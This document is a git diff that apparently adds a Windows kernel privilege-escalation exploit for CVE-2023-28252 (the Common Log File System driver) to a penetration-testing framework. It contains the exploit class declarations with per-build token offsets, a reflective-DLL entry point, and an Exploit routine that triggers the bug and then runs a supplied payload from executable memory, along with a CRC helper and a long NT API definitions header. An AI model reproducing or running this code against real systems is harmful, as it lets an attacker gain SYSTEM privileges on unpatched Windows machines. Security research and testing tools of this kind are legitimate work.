b/external/source/exploits/CVE-2023-28252/CVE-2023-28252/clfs_eop.h @@ -0,0 +1,133 @@ +// +// +#pragma warning (disable : 4005) +#pragma warning(disable:28159) + +#pragma once +#include +#include +#include +#include +#include +#include +#include +#include "ntos.h" +#include "crc32.h" + +#pragma comment(lib, "ntdll.lib") +#pragma comment(lib, "Clfsw32.lib") + + + +/* +/* +Windows Server 2016 Standard ------> +Windows Server 2019 Standard ------> 17763 token offset: 0x358 decimal: 856 +Windows Server 2022 Standard ------> 20348 token offset: 0x4b8 decimal: 1208 +Windows 10 Pro Version 21H1 -------> 19041 19043 offset: 0x4b8 decimal: 1208 +Windows 10 Pro Version 21H2 -------> 19041 offset: 0x4b8 decimal: 1208 +Windows 11 Pro Version 21H2 -------> 22000 token offset: 0x4b8 decimal: 1208 +*/ + +VOID FindKernelModulesBase(); + +// +// NT syscalls +// +#define SystemModuleInformation 0xb +#define SystemHandleInformation 0x10 + + +typedef struct _SYSTEM_BIGPOOL_ENTRY { + union { + PVOID VirtualAddress; + ULONG_PTR NonPaged : 1; + }; + SIZE_T SizeInBytes; + union { + UCHAR Tag[4]; + ULONG TagUlong; + }; +} SYSTEM_BIGPOOL_ENTRY, * PSYSTEM_BIGPOOL_ENTRY; + + +typedef struct _SYSTEM_BIGPOOL_INFORMATION { + ULONG Count; + SYSTEM_BIGPOOL_ENTRY AllocatedInfo[1]; +} SYSTEM_BIGPOOL_INFORMATION, * PSYSTEM_BIGPOOL_INFORMATION; + + +typedef NTSTATUS(WINAPI* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG); + +typedef NTSTATUS(NTAPI* _NtWriteVirtualMemory)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T); + + + +// +// Version dependent offsets +// +#define OFFSET_OF_PREVIOUS_MODE 0x232 +#define OFFSET_OF_WIN32PROCESS 0x3b0 +#define OFFSET_OF_SEP_TOKEN_PRIVILEGES 0x40 +#define OFFSET_OF_DCOMPOSITIONPROCESS 0x100 + + +// +// CInteractionTrackerMarshaler object offsets +// +#define OFFSET_OF_FUNCTION 0x50 +#define OBJECT_SIZE 0x1a0 +typedef NTSTATUS func(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG); +typedef NTSTATUS func3(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG); + + +class clfs_eop +{ +public: + + clfs_eop() {}; + ~clfs_eop() {}; + + //int crcCalculatorAndFix(char*, int); + + void fun_pipeSpray(int value, UINT64* temp_buffer); + + void getVirtualAddress(); + + SIZE_T GetObjectKernelAddress(HANDLE Object); + + VOID InitEnvironment(); + + int createInitialLogFile(); + + UINT64 getBigPoolInfo(); + + VOID craftbaseFile(FILE* pfile); + + VOID craftSprayFile(FILE* pfile); + + int FixCRCFile(WCHAR* _stored_temp_open); + + int crcCalculatorAndFix(char* mybuf, int mysize); + + int doFirstAlloc(); + + VOID FindKernelModulesBase(); + + void manage_args(int argc, TCHAR* argv[]); + + VOID RunPayload(); + + void fun_prepare(); + + WCHAR* logFileNames(int _i); + + WCHAR* containerNames(int _i); + + WCHAR* fileNames(int _i); + + int fun_trigger(WCHAR* _logfilename, WCHAR* _fopenfilename); + + void to_trigger(); + +}; \ No newline at end of file diff --git a/external/source/exploits/CVE-2023-28252/CVE-2023-28252/crc32.h b/external/source/exploits/CVE-2023-28252/CVE-2023-28252/crc32.h new file mode 100755 index 000000000000..cd698d9ec9eb --- /dev/null +++ b/external/source/exploits/CVE-2023-28252/CVE-2023-28252/crc32.h @@ -0,0 +1,45 @@ +#pragma once + +#include + + +struct crc32 +{ + static void generate_table(uint32_t(&table)[256]) + { + uint32_t polynomial = 0xEDB88320; + for (uint32_t i = 0; i < 256; i++) + { + uint32_t c = i; + for (size_t j = 0; j < 8; j++) + { + if (c & 1) { + c = polynomial ^ (c >> 1); + } + else { + c >>= 1; + } + } + table[i] = c; + } + } + + static uint32_t update(uint32_t(&table)[256], uint32_t initial, const void* buf, size_t len) + { + uint32_t c = initial ^ 0xFFFFFFFF; + const uint8_t* u = static_cast(buf); + for (size_t i = 0; i < len; ++i) + { + c = table[(c ^ u[i]) & 0xFF] ^ (c >> 8); + } + return c ^ 0xFFFFFFFF; + } +}; + + +// usage: the following code generates crc for 2 pieces of data +// uint32_t table[256]; +// crc32::generate_table(table); +// uint32_t crc = crc32::update(table, 0, data_piece1, len1); +// crc = crc32::update(table, crc, data_piece2, len2); +// output(crc); \ No newline at end of file diff --git a/external/source/exploits/CVE-2023-28252/CVE-2023-28252/dllmain.cpp b/external/source/exploits/CVE-2023-28252/CVE-2023-28252/dllmain.cpp new file mode 100755 index 000000000000..f5c1a7e85dd5 --- /dev/null +++ b/external/source/exploits/CVE-2023-28252/CVE-2023-28252/dllmain.cpp @@ -0,0 +1,44 @@ +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#define DEBUGTRACE 1 + +#include "ReflectiveLoader.c" +#include "definitions.h" +#include "common.h" + +#include +#include +#include + +DWORD Exploit(PMSF_PAYLOAD pPayload); + +void main(PMSF_PAYLOAD lpReserved) { + dprintf("In dllmain main method, heading to exploit method"); + Exploit(lpReserved); + return; +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + PMSF_PAYLOAD payload = (PMSF_PAYLOAD)lpReserved; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) + { + *(HMODULE*)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + main(payload); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return TRUE; +} + diff --git a/external/source/exploits/CVE-2023-28252/CVE-2023-28252/exploit.cpp b/external/source/exploits/CVE-2023-28252/CVE-2023-28252/exploit.cpp new file mode 100755 index 000000000000..1ee7e223b6db --- /dev/null +++ b/external/source/exploits/CVE-2023-28252/CVE-2023-28252/exploit.cpp @@ -0,0 +1,89 @@ +#pragma once +#define DEBUGTRACE 1 +#include "common.h" +#include "clfs_eop.h" +#include "exploit.h"\ +#include + +//const EPROCESS_OFFSETS* g_pEprocessOffsets = NULL; +//fNtQuerySystemInformation NtQuerySystemInfo = NULL; +//fRtlGetNtVersionNumbers RtlGetNtVersionNumbers = NULL; + +void ExecutePayload(PMSF_PAYLOAD pMsfPayload) { + if (!pMsfPayload) + return; + PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!pPayload) + return; + CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize); + CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pPayload, NULL, 0, NULL); +} + +BOOL ResolveRequirements(DWORD dwMajor, DWORD dwMinor, DWORD dwBuild) { + + //dwBuild = LOWORD(dwBuild); + ////dprintf("[*] Windows version: %u.%u.%u", dwMajor, dwMinor, dwBuild); + //if ((dwMajor == 10) && (dwMinor == 0)) { + // if ((dwBuild >= 14393) && (dwBuild <= 19045)) { + // if ((dwBuild < 15063)) { + // g_pEprocessOffsets = &EprocessOffsetsWin10v1607; + // } + // else if ((dwBuild < 16299)) { + // g_pEprocessOffsets = &EprocessOffsetsWin10v1703; + // } + // else if ((dwBuild < 17134)) { + // g_pEprocessOffsets = &EprocessOffsetsWin10v1709; + // } + // else if ((dwBuild < 17763)) { + // g_pEprocessOffsets = &EprocessOffsetsWin10v1803; + // } + // else if ((dwBuild < 18362)) { + // g_pEprocessOffsets = &EprocessOffsetsWin10v1809; + // } + // else if ((dwBuild < 19041)) { + // g_pEprocessOffsets = &EprocessOffsetsWin10v1903; + // } + // else if ((dwBuild < 19043)) { + // g_pEprocessOffsets = &EprocessOffsetsWin10v2004; + // } + // else if ((dwBuild == 19044)) { + // g_pEprocessOffsets = &EprocessOffsetsWin10v21H2; + // } + // else if ((dwBuild == 19045)) { + // g_pEprocessOffsets = &EprocessOffsetsWin10v21H2; + // } + // } + // else if (dwBuild == 22000) { + // g_pEprocessOffsets = &EprocessOffsetsWin11v21H2; + // } + // else if (dwBuild == 20348) { + // g_pEprocessOffsets = &EprocessOffsetsWinServer2022; + // } + //} + //else { + // return FALSE; + //} + return TRUE; +} + + +DWORD Exploit(PMSF_PAYLOAD pPayload) { + + clfs_eop ce = clfs_eop::clfs_eop(); + + //TODO: Remove manage_args function and set token offsets based on determined windows verion. + TCHAR* argv[] = { _T("program.exe"), _T("arg1"), _T("arg2") }; + ce.manage_args(2, argv); + + ce.getVirtualAddress(); + ce.InitEnvironment(); + ce.doFirstAlloc(); + ce.createInitialLogFile(); + ce.fun_prepare(); + ce.to_trigger(); + + dprintf("Aboue to execute pPayload"); + ExecutePayload(pPayload); + + return 0; +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2023-28252/CVE-2023-28252/exploit.h b/external/source/exploits/CVE-2023-28252/CVE-2023-28252/exploit.h new file mode 100755 index 000000000000..0082cb322f66 --- /dev/null +++ b/external/source/exploits/CVE-2023-28252/CVE-2023-28252/exploit.h @@ -0,0 +1,121 @@ +#pragma once +#include + +#pragma once +#include "ntos.h" + +#include +#include + +#ifndef NTSTATUS +typedef long NTSTATUS; +#endif + +typedef NTSTATUS(__stdcall* fNtQuerySystemInformation)( + SYSTEM_INFORMATION_CLASS SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength + ); + +typedef NTSTATUS(__stdcall* fNtCallbackReturn)( + PVOID Result, + ULONG ResultLength, + NTSTATUS CallbackStateus + ); + +typedef NTSTATUS(__stdcall* fNtUserConsoleControl)( + DWORD ConsoleCtrl, + PVOID ConsoleCtrlInfo, + ULONG ConsoleCtrlInfoLength + ); + +typedef NTSTATUS(__stdcall* fNtUserMessageCall)( + HWND hWnd, + UINT msg, + WPARAM wParam, + LPARAM lParam, + ULONG_PTR ResultInfo, + DWORD dwType, + BOOL bAscii + ); + +typedef PVOID(__stdcall* fRtlAllocateHeap)( + PVOID HeapHandle, + ULONG Flags, + SIZE_T Size + ); + +typedef VOID(__stdcall* fRtlGetNtVersionNumbers)( + DWORD* MajorVersion, + DWORD* MinorVersion, + DWORD* BuildNumber + ); + +#define TYPE_WINDOW 1 +typedef PVOID(__stdcall* fHMValidateHandle)(HANDLE hHandle, DWORD dwType); + +// +// Taken from ntdef.h +// + + + +// +// Taken from wdm.h +// + +typedef NTSTATUS(__stdcall* fNtQuerySystemInformation)( + SYSTEM_INFORMATION_CLASS SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength + ); + +typedef NTSTATUS(__stdcall* fNtCreateFile)( + PHANDLE FileHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PIO_STATUS_BLOCK IoStatusBlock, + PLARGE_INTEGER AllocationSize, + ULONG FileAttributes, + ULONG ShareAccess, + ULONG CreateDisposition, + ULONG CreateOptions, + PVOID EaBuffer, + ULONG EaLength + ); + +typedef NTSTATUS(__stdcall* fNtDeviceIoControlFile)( + HANDLE FileHandle, + HANDLE Event, + PVOID ApcRoutine, // PIO_APC_ROUTINE is just a pointer to a function + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + ULONG IoControlCode, + PVOID InputBuffer, + ULONG InputBufferLength, + PVOID OutputBuffer, + ULONG OutputBufferLength + ); + +typedef NTSTATUS(__stdcall* fNtCreateIoCompletion)( + PHANDLE IoCompletionHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + ULONG NumberOfConcurrentThreads + ); + +typedef NTSTATUS(__stdcall* fNtSetIoCompletion)( + HANDLE IoCompletionHandle, + ULONG CompletionKey, + PIO_STATUS_BLOCK IoStatusBlock, + NTSTATUS CompletionStatus, + ULONG NumberOfBytesTransferred + ); + + +class exploit { +public: + DWORD Exploit(PVOID pPayload); +}; diff --git a/external/source/exploits/CVE-2023-28252/CVE-2023-28252/ntos.h b/external/source/exploits/CVE-2023-28252/CVE-2023-28252/ntos.h new file mode 100755 index 000000000000..199e16d35dc5 --- /dev/null +++ b/external/source/exploits/CVE-2023-28252/CVE-2023-28252/ntos.h @@ -0,0 +1,6455 @@ +/************************************************************************************ +* +* (C) COPYRIGHT AUTHORS, 2015 - 2017, translated from Microsoft sources/debugger +* +* TITLE: NTOS.H +* +* VERSION: 1.74 +* +* DATE: 01 Dec 2017 +* +* Common header file for the ntos API functions and definitions. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +************************************************************************************/ +#pragma once +#ifdef _In_reads_ +#undef _In_reads_ +#endif +#define _In_reads_(s) + +#ifdef _In_reads_bytes_ +#undef _In_reads_bytes_ +#endif +#define _In_reads_bytes_(s) + +#ifdef _Out_writes_opt_ +#undef _Out_writes_opt_ +#endif +#define _Out_writes_opt_(s) + +#define _Out_writes_to_opt_(s,c) +#ifdef _Out_writes_bytes_to_opt_ +#undef _Out_writes_bytes_to_opt_ +#endif +#define _Out_writes_bytes_to_opt_(s,c) + + +#pragma warning(disable: 4214) // nonstandard extension used : bit field types other than int + +#define IN_REGION(x, Base, Size) (((ULONG_PTR)x >= (ULONG_PTR)Base) && ((ULONG_PTR)x <= (ULONG_PTR)Base + (ULONG_PTR)Size)) + +#define ALIGN_DOWN(count,size) \ + ((ULONG_PTR)(count) & ~((ULONG_PTR)(size) - 1)) + +#define ALIGN_UP(count,size) \ + (ALIGN_DOWN( (ULONG_PTR)(count)+(ULONG_PTR)(size)-1, (ULONG_PTR)(size) )) + +#define ARGUMENT_PRESENT(ArgumentPointer) (\ + (CHAR *)((ULONG_PTR)(ArgumentPointer)) != (CHAR *)(NULL) ) + +//Access Rights + +#define CALLBACK_MODIFY_STATE 0x0001 +#define CALLBACK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|CALLBACK_MODIFY_STATE ) + +#define DEBUG_READ_EVENT (0x0001) +#define DEBUG_PROCESS_ASSIGN (0x0002) +#define DEBUG_SET_INFORMATION (0x0004) +#define DEBUG_QUERY_INFORMATION (0x0008) +#define DEBUG_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|DEBUG_READ_EVENT|DEBUG_PROCESS_ASSIGN|\ + DEBUG_SET_INFORMATION|DEBUG_QUERY_INFORMATION) + +#define DIRECTORY_QUERY (0x0001) +#define DIRECTORY_TRAVERSE (0x0002) +#define DIRECTORY_CREATE_OBJECT (0x0004) +#define DIRECTORY_CREATE_SUBDIRECTORY (0x0008) +#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) + +#define EVENT_QUERY_STATE 0x0001 +#define EVENT_MODIFY_STATE 0x0002 +#define EVENT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +#define EVENT_PAIR_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE) + +#define IO_COMPLETION_QUERY_STATE 0x0001 +#define IO_COMPLETION_MODIFY_STATE 0x0002 +#define IO_COMPLETION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +#define KEYEDEVENT_WAIT 0x0001 +#define KEYEDEVENT_WAKE 0x0002 +#define KEYEDEVENT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | KEYEDEVENT_WAIT | KEYEDEVENT_WAKE) + +#define MUTANT_QUERY_STATE 0x0001 +#ifndef MUTANT_ALL_ACCESS +#define MUTANT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|MUTANT_QUERY_STATE) +#endif // _DEBUG + + +#define PORT_CONNECT (0x0001) +#define PORT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1) + +#define PROFILE_CONTROL (0x0001) +#define PROFILE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | PROFILE_CONTROL) + +#define SEMAPHORE_QUERY_STATE 0x0001 +#define SEMAPHORE_MODIFY_STATE 0x0002 +#define SEMAPHORE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +#define SYMBOLIC_LINK_QUERY (0x0001) +#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) + +#define THREAD_ALERT (0x0004) + +#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001 +#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002 +#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004 +#define THREAD_CREATE_FLAGS_HAS_SECURITY_DESCRIPTOR 0x00000010 +#define THREAD_CREATE_FLAGS_ACCESS_CHECK_IN_TARGET 0x00000020 +#define THREAD_CREATE_FLAGS_INITIAL_THREAD 0x00000080 + +#define WORKER_FACTORY_RELEASE_WORKER 0x0001 +#define WORKER_FACTORY_WAIT 0x0002 +#define WORKER_FACTORY_SET_INFORMATION 0x0004 +#define WORKER_FACTORY_QUERY_INFORMATION 0x0008 +#define WORKER_FACTORY_READY_WORKER 0x0010 +#define WORKER_FACTORY_SHUTDOWN 0x0020 + +#define OBJECT_TYPE_CREATE (0x0001) +#define OBJECT_TYPE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) + +#define WMIGUID_QUERY 0x0001 +#define WMIGUID_SET 0x0002 +#define WMIGUID_NOTIFICATION 0x0004 +#define WMIGUID_READ_DESCRIPTION 0x0008 +#define WMIGUID_EXECUTE 0x0010 +#define TRACELOG_CREATE_REALTIME 0x0020 +#define TRACELOG_CREATE_ONDISK 0x0040 +#define TRACELOG_GUID_ENABLE 0x0080 +#define TRACELOG_ACCESS_KERNEL_LOGGER 0x0100 +#define TRACELOG_CREATE_INPROC 0x0200 +#define TRACELOG_ACCESS_REALTIME 0x0400 +#define TRACELOG_REGISTER_GUIDS 0x0800 + +// +// Partition Specific Access Rights. +// + +#define MEMORY_PARTITION_QUERY_ACCESS 0x0001 +#define MEMORY_PARTITION_MODIFY_ACCESS 0x0002 + +#define MEMORY_PARTITION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | \ + SYNCHRONIZE | \ + MEMORY_PARTITION_QUERY_ACCESS | \ + MEMORY_PARTITION_MODIFY_ACCESS) + + +// +// NtCreateProcessEx specific flags. +// +#define PS_REQUEST_BREAKAWAY 1 +#define PS_NO_DEBUG_INHERIT 2 +#define PS_INHERIT_HANDLES 4 +#define PS_LARGE_PAGES 8 +#define PS_ALL_FLAGS (PS_REQUEST_BREAKAWAY | \ + PS_NO_DEBUG_INHERIT | \ + PS_INHERIT_HANDLES | \ + PS_LARGE_PAGES) + +#define NtCurrentThread() ( (HANDLE)(LONG_PTR) -2 ) +#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) +#define ZwCurrentProcess() NtCurrentProcess() +#define ZwCurrentThread() NtCurrentThread() + +// +// Define special ByteOffset parameters for read and write operations +// + +#define FILE_WRITE_TO_END_OF_FILE 0xffffffff +#define FILE_USE_FILE_POINTER_POSITION 0xfffffffe + +// +// This is the maximum MaximumLength for a UNICODE_STRING. +// + +#define MAXUSHORT 0xffff +#define MAX_USTRING ( sizeof(WCHAR) * (MAXUSHORT/sizeof(WCHAR)) ) + +typedef struct _EX_RUNDOWN_REF +{ + union + { + ULONG Count; + PVOID Ptr; + }; +} EX_RUNDOWN_REF, * PEX_RUNDOWN_REF; + +#ifndef _UNICODE_STRING +#define _UNICODE_STRING +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING; +typedef UNICODE_STRING* PUNICODE_STRING; +typedef const UNICODE_STRING* PCUNICODE_STRING; +#endif + +typedef struct _STRING +{ + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; +} STRING; +typedef STRING* PSTRING; + +typedef STRING ANSI_STRING; +typedef PSTRING PANSI_STRING; + +typedef STRING OEM_STRING; +typedef PSTRING POEM_STRING; +typedef CONST STRING* PCOEM_STRING; +typedef CONST char* PCSZ; + +typedef struct _CSTRING +{ + USHORT Length; + USHORT MaximumLength; + CONST char* Buffer; +} CSTRING; +typedef CSTRING* PCSTRING; +#define ANSI_NULL ((CHAR)0) + +typedef STRING CANSI_STRING; +typedef PSTRING PCANSI_STRING; + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES; +typedef OBJECT_ATTRIBUTES* POBJECT_ATTRIBUTES; + +typedef struct _IO_STATUS_BLOCK { + union { + NTSTATUS Status; + PVOID Pointer; + } DUMMYUNIONNAME; + + ULONG_PTR Information; +} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; + +/* +** Semaphore START +*/ + +#ifndef _SEMAPHORE_INFORMATION_CLASS +typedef enum _SEMAPHORE_INFORMATION_CLASS { + SemaphoreBasicInformation +} SEMAPHORE_INFORMATION_CLASS; +#endif + +#ifndef _SEMAPHORE_BASIC_INFORMATION +typedef struct _SEMAPHORE_BASIC_INFORMATION { + LONG CurrentCount; + LONG MaximumCount; +} SEMAPHORE_BASIC_INFORMATION, * PSEMAPHORE_BASIC_INFORMATION; +#endif + +/* +** Semaphore END +*/ + +/* +** Kernel Debugger START +*/ + +typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION { + BOOLEAN KernelDebuggerEnabled; + BOOLEAN KernelDebuggerNotPresent; +} SYSTEM_KERNEL_DEBUGGER_INFORMATION, * PSYSTEM_KERNEL_DEBUGGER_INFORMATION; + +/* +** Kernel Debugger END +*/ + +/* +** FileCache and MemoryList START +*/ + +typedef enum _SYSTEM_MEMORY_LIST_COMMAND { + MemoryCaptureAccessedBits, + MemoryCaptureAndResetAccessedBits, + MemoryEmptyWorkingSets, + MemoryFlushModifiedList, + MemoryPurgeStandbyList, + MemoryPurgeLowPriorityStandbyList, + MemoryCommandMax +} SYSTEM_MEMORY_LIST_COMMAND; + +typedef struct _SYSTEM_FILECACHE_INFORMATION { + SIZE_T CurrentSize; + SIZE_T PeakSize; + ULONG PageFaultCount; + SIZE_T MinimumWorkingSet; + SIZE_T MaximumWorkingSet; + SIZE_T CurrentSizeIncludingTransitionInPages; + SIZE_T PeakSizeIncludingTransitionInPages; + ULONG TransitionRePurposeCount; + ULONG Flags; +} SYSTEM_FILECACHE_INFORMATION, * PSYSTEM_FILECACHE_INFORMATION; + +/* +** FileCache and MemoryList END +*/ + +/* +** Processes START +*/ + +typedef struct _SYSTEM_TIMEOFDAY_INFORMATION { + LARGE_INTEGER BootTime; + LARGE_INTEGER CurrentTime; + LARGE_INTEGER TimeZoneBias; + ULONG TimeZoneId; + ULONG Reserved; + ULONGLONG BootTimeBias; + ULONGLONG SleepTimeBias; +} SYSTEM_TIMEOFDAY_INFORMATION, * PSYSTEM_TIMEOFDAY_INFORMATION; + +#ifndef KPRIORITY +typedef LONG KPRIORITY; +#endif + +typedef enum _THREAD_STATE { + StateInitialized, + StateReady, + StateRunning, + StateStandby, + StateTerminated, + StateWait, + StateTransition, + StateUnknown +} THREAD_STATE; + +typedef enum _KWAIT_REASON { + Executive, + FreePage, + PageIn, + PoolAllocation, + DelayExecution, + Suspended, + UserRequest, + WrExecutive, + WrFreePage, + WrPageIn, + WrPoolAllocation, + WrDelayExecution, + WrSuspended, + WrUserRequest, + WrEventPair, + WrQueue, + WrLpcReceive, + WrLpcReply, + WrVirtualMemory, + WrPageOut, + WrRendezvous, + WrKeyedEvent, + WrTerminated, + WrProcessInSwap, + WrCpuRateControl, + WrCalloutStack, + WrKernel, + WrResource, + WrPushLock, + WrMutex, + WrQuantumEnd, + WrDispatchInt, + WrPreempted, + WrYieldExecution, + WrFastMutex, + WrGuardedMutex, + WrRundown, + MaximumWaitReason +} KWAIT_REASON; + +typedef VOID KSTART_ROUTINE( + _In_ PVOID StartContext +); +typedef KSTART_ROUTINE* PKSTART_ROUTINE; + +typedef struct _CLIENT_ID { + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, * PCLIENT_ID; + +typedef struct _CLIENT_ID64 { + ULONG64 UniqueProcess; + ULONG64 UniqueThread; +} CLIENT_ID64, * PCLIENT_ID64; + +typedef struct _CLIENT_ID32 { + ULONG32 UniqueProcess; + ULONG32 UniqueThread; +} CLIENT_ID32, * PCLIENT_ID32; + +typedef struct _VM_COUNTERS { + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; +} VM_COUNTERS; + +typedef struct _SYSTEM_THREAD_INFORMATION { + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientId; + KPRIORITY Priority; + KPRIORITY BasePriority; + ULONG ContextSwitchCount; + THREAD_STATE State; + KWAIT_REASON WaitReason; +} SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION; + +typedef struct _SYSTEM_PROCESSES_INFORMATION { + ULONG NextEntryDelta; + ULONG ThreadCount; + LARGE_INTEGER SpareLi1; + LARGE_INTEGER SpareLi2; + LARGE_INTEGER SpareLi3; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR PageDirectoryBase; + VM_COUNTERS VmCounters; + IO_COUNTERS IoCounters; + SYSTEM_THREAD_INFORMATION Threads[1]; +} SYSTEM_PROCESSES_INFORMATION, * PSYSTEM_PROCESSES_INFORMATION; + +#if defined(_WIN64) +typedef ULONG SYSINF_PAGE_COUNT; +#else +typedef SIZE_T SYSINF_PAGE_COUNT; +#endif + +typedef struct _SYSTEM_BASIC_INFORMATION { + ULONG Reserved; + ULONG TimerResolution; + ULONG PageSize; + SYSINF_PAGE_COUNT NumberOfPhysicalPages; + SYSINF_PAGE_COUNT LowestPhysicalPageNumber; + SYSINF_PAGE_COUNT HighestPhysicalPageNumber; + ULONG AllocationGranularity; + ULONG_PTR MinimumUserModeAddress; + ULONG_PTR MaximumUserModeAddress; + ULONG_PTR ActiveProcessorsAffinityMask; + CCHAR NumberOfProcessors; +} SYSTEM_BASIC_INFORMATION, * PSYSTEM_BASIC_INFORMATION; + +typedef enum _PROCESSINFOCLASS { + ProcessBasicInformation = 0, + ProcessQuotaLimits = 1, + ProcessIoCounters = 2, + ProcessVmCounters = 3, + ProcessTimes = 4, + ProcessBasePriority = 5, + ProcessRaisePriority = 6, + ProcessDebugPort = 7, + ProcessExceptionPort = 8, + ProcessAccessToken = 9, + ProcessLdtInformation = 10, + ProcessLdtSize = 11, + ProcessDefaultHardErrorMode = 12, + ProcessIoPortHandlers = 13, + ProcessPooledUsageAndLimits = 14, + ProcessWorkingSetWatch = 15, + ProcessUserModeIOPL = 16, + ProcessEnableAlignmentFaultFixup = 17, + ProcessPriorityClass = 18, + ProcessWx86Information = 19, + ProcessHandleCount = 20, + ProcessAffinityMask = 21, + ProcessPriorityBoost = 22, + ProcessDeviceMap = 23, + ProcessSessionInformation = 24, + ProcessForegroundInformation = 25, + ProcessWow64Information = 26, + ProcessImageFileName = 27, + ProcessLUIDDeviceMapsEnabled = 28, + ProcessBreakOnTermination = 29, + ProcessDebugObjectHandle = 30, + ProcessDebugFlags = 31, + ProcessHandleTracing = 32, + ProcessIoPriority = 33, + ProcessExecuteFlags = 34, + ProcessTlsInformation = 35, + ProcessCookie = 36, + ProcessImageInformation = 37, + ProcessCycleTime = 38, + ProcessPagePriority = 39, + ProcessInstrumentationCallback = 40, + ProcessThreadStackAllocation = 41, + ProcessWorkingSetWatchEx = 42, + ProcessImageFileNameWin32 = 43, + ProcessImageFileMapping = 44, + ProcessAffinityUpdateMode = 45, + ProcessMemoryAllocationMode = 46, + ProcessGroupInformation = 47, + ProcessTokenVirtualizationEnabled = 48, + ProcessOwnerInformation = 49, + ProcessWindowInformation = 50, + ProcessHandleInformation = 51, + ProcessMitigationPolicy = 52, + ProcessDynamicFunctionTableInformation = 53, + ProcessHandleCheckingMode = 54, + ProcessKeepAliveCount = 55, + ProcessRevokeFileHandles = 56, + ProcessWorkingSetControl = 57, + ProcessHandleTable = 58, + ProcessCheckStackExtentsMode = 59, + ProcessCommandLineInformation = 60, + ProcessProtectionInformation = 61, + MaxProcessInfoClass = 62 +} PROCESSINFOCLASS; + +typedef enum _THREADINFOCLASS { + ThreadBasicInformation, + ThreadTimes, + ThreadPriority, + ThreadBasePriority, + ThreadAffinityMask, + ThreadImpersonationToken, + ThreadDescriptorTableEntry, + 